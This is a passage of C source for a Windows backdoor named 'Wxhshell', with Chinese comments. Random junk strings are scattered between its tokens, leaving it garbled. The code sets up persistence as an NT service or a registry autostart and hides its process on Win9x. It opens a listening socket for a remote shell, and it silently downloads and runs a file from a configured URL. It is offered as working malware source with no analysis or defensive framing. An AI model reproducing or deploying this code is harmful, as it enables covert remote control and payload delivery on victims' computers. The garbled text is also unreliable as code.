- }r6SV%]: hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HP2]b?C if(hProcess==NULL) return 0; #m6 eG&a DJ;G0* HMODULE hMod; d$/BF&n char procName[255]; U&|=dH]- unsigned long cbNeeded; GM{m(Y $cFanra if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jAmAT/ 1 VC\43A,9 CloseHandle(hProcess); O/>$kG%ge AS[cz!
> if(strstr(procName,"services")) return 1; // 以服务启动 !12W(4S5 H~1*`m return 0; // 注册表启动 -#H>kbs } ^S'}RZ*> ;GO>#yg4Eh // 主模块 s2Ivd*=mT int StartWxhshell(LPSTR lpCmdLine) veg\A+:' { ! q!
=VC SOCKET wsl; RZ9vQ\X
U) BOOL val=TRUE; 7E4=\vM int port=0; eZ
y)>.6Z struct sockaddr_in door; ;OQ{ |0ahvsrtW if(wscfg.ws_autoins) Install(); Funep[rA xjiMM>|n port=atoi(lpCmdLine); !dYkvoQNn ad8kUHf if(port<=0) port=wscfg.ws_port; ^$DpdzI s"<k)Xi WSADATA data; J_OIU#-B if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; el39HB$ R 28v5 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; s!``OyI/Z setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); b&B<'Wb door.sin_family = AF_INET; SY_T\
} door.sin_addr.s_addr = inet_addr("127.0.0.1"); jm'(t=Ze door.sin_port = htons(port); SJ;u,XyWn 6$w)"Rq if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y iE[^2Pv closesocket(wsl); FJgr=9> return 1; &Jv j@,>$d } wX" 6 S: 5zX;/n~ if(listen(wsl,2) == INVALID_SOCKET) { /i$E |[ closesocket(wsl); _` |Hk2O return 1; |AW[4Yn> } P*XLm Wxhshell(wsl); [s"3g\L'; WSACleanup(); .{LFc|Z[ yv^j~ return 0; `h/j3fmX? [S9T@Q } R3<>]/1p|P c 's=>-X // 以NT服务方式启动 7-.YVM~R VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =O1N*'e { ngj=w;7~+ DWORD status = 0; I4ZL+a DWORD specificError = 0xfffffff; N\1!)b &/}]9 # serviceStatus.dwServiceType = SERVICE_WIN32; sptDzVM serviceStatus.dwCurrentState = SERVICE_START_PENDING;
;?1H& serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; UP}Ys* serviceStatus.dwWin32ExitCode = 0; <Vm+Lt9 serviceStatus.dwServiceSpecificExitCode = 0; 2?58=i%b serviceStatus.dwCheckPoint = 0; aErms-~ serviceStatus.dwWaitHint = 0; 4<)%Esyb b"t95qlL hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); iXK.QktHw if (hServiceStatusHandle==0) return; ilEWxr;, X90VJb] status = GetLastError(); )uiYu3 I if (status!=NO_ERROR) Lnbbv
* { fDhV
*LqW serviceStatus.dwCurrentState = SERVICE_STOPPED; U0q{8 "Pl serviceStatus.dwCheckPoint = 0; LCx{7bN1ro serviceStatus.dwWaitHint = 0; \RyOexNZ serviceStatus.dwWin32ExitCode = status; FA<|V!a serviceStatus.dwServiceSpecificExitCode = specificError; R<@s]xX_ SetServiceStatus(hServiceStatusHandle, &serviceStatus); E8zga ) return; /UTeaM!?" } ;3OQgKI YwyP+Sr\ serviceStatus.dwCurrentState = SERVICE_RUNNING; ~UX@%0%)N serviceStatus.dwCheckPoint = 0; (wU<Kpt?J serviceStatus.dwWaitHint = 0; %>Z^BM<e if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l^w=b~|7= } Nl,M9 xQ9P'ru // 处理NT服务事件,比如:启动、停止 X:bv
?o>Y VOID WINAPI NTServiceHandler(DWORD fdwControl) ~q4KQ&.! { '8K5=|!J switch(fdwControl) i,1=5@rw5 { 2W:R{dHE case SERVICE_CONTROL_STOP: 3
HOJCgit serviceStatus.dwWin32ExitCode = 0; Gf(hN|X. serviceStatus.dwCurrentState = SERVICE_STOPPED; Q;W[$yvW serviceStatus.dwCheckPoint = 0; 2jV.\C k serviceStatus.dwWaitHint = 0; losm< { [ Hw SetServiceStatus(hServiceStatusHandle, &serviceStatus); rXc-V},az8 } L|.q19b* return; 5wYYYo= case SERVICE_CONTROL_PAUSE: t+7h(?8L serviceStatus.dwCurrentState = SERVICE_PAUSED; @^]wT_r break; 9J h"1i>x2 case SERVICE_CONTROL_CONTINUE: j h0``{ serviceStatus.dwCurrentState = SERVICE_RUNNING; l{ja2brX break; JpqZVu"7 case SERVICE_CONTROL_INTERROGATE: 8\HL8^6c5 break; :so2 {.t- }; Jn3cU SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;[TC`DuNj0 } ivDmPHj{ 8+Sa$R // 标准应用程序主函数 {q
fgvu int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f#mBMdj { /8(c^ ~XGBE // 获取操作系统版本 I[,tf! OsIsNt=GetOsVer(); dCv@l7hE GetModuleFileName(NULL,ExeFile,MAX_PATH); 07 [%RG "}
=RPc%9 // 从命令行安装 2u9O+]EP if(strpbrk(lpCmdLine,"iI")) Install(); l?Vm/YXb ap;?[B~Ga // 下载执行文件 n+1!/H=d if(wscfg.ws_downexe) { HYm
| if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [mwJ* GJ- WinExec(wscfg.ws_filenam,SW_HIDE); "~- H]9 } QP/%+[E. /orpQUHA if(!OsIsNt) { +c;/hM<IX. // 如果时win9x,隐藏进程并且设置为注册表启动 ^*JpdmVhu HideProc(); vM )2F StartWxhshell(lpCmdLine); p|fSPSz } X,-QxV=lc) else ev~/Hf if(StartFromService()) C+ibLS4i // 以服务方式启动 7{F(NJUO1 StartServiceCtrlDispatcher(DispatchTable); ${I$@qq83 else @!k\Ivd // 普通方式启动 r*?rwtFtg StartWxhshell(lpCmdLine); b{Srd3 .x\fPjB return 0; +6paM }
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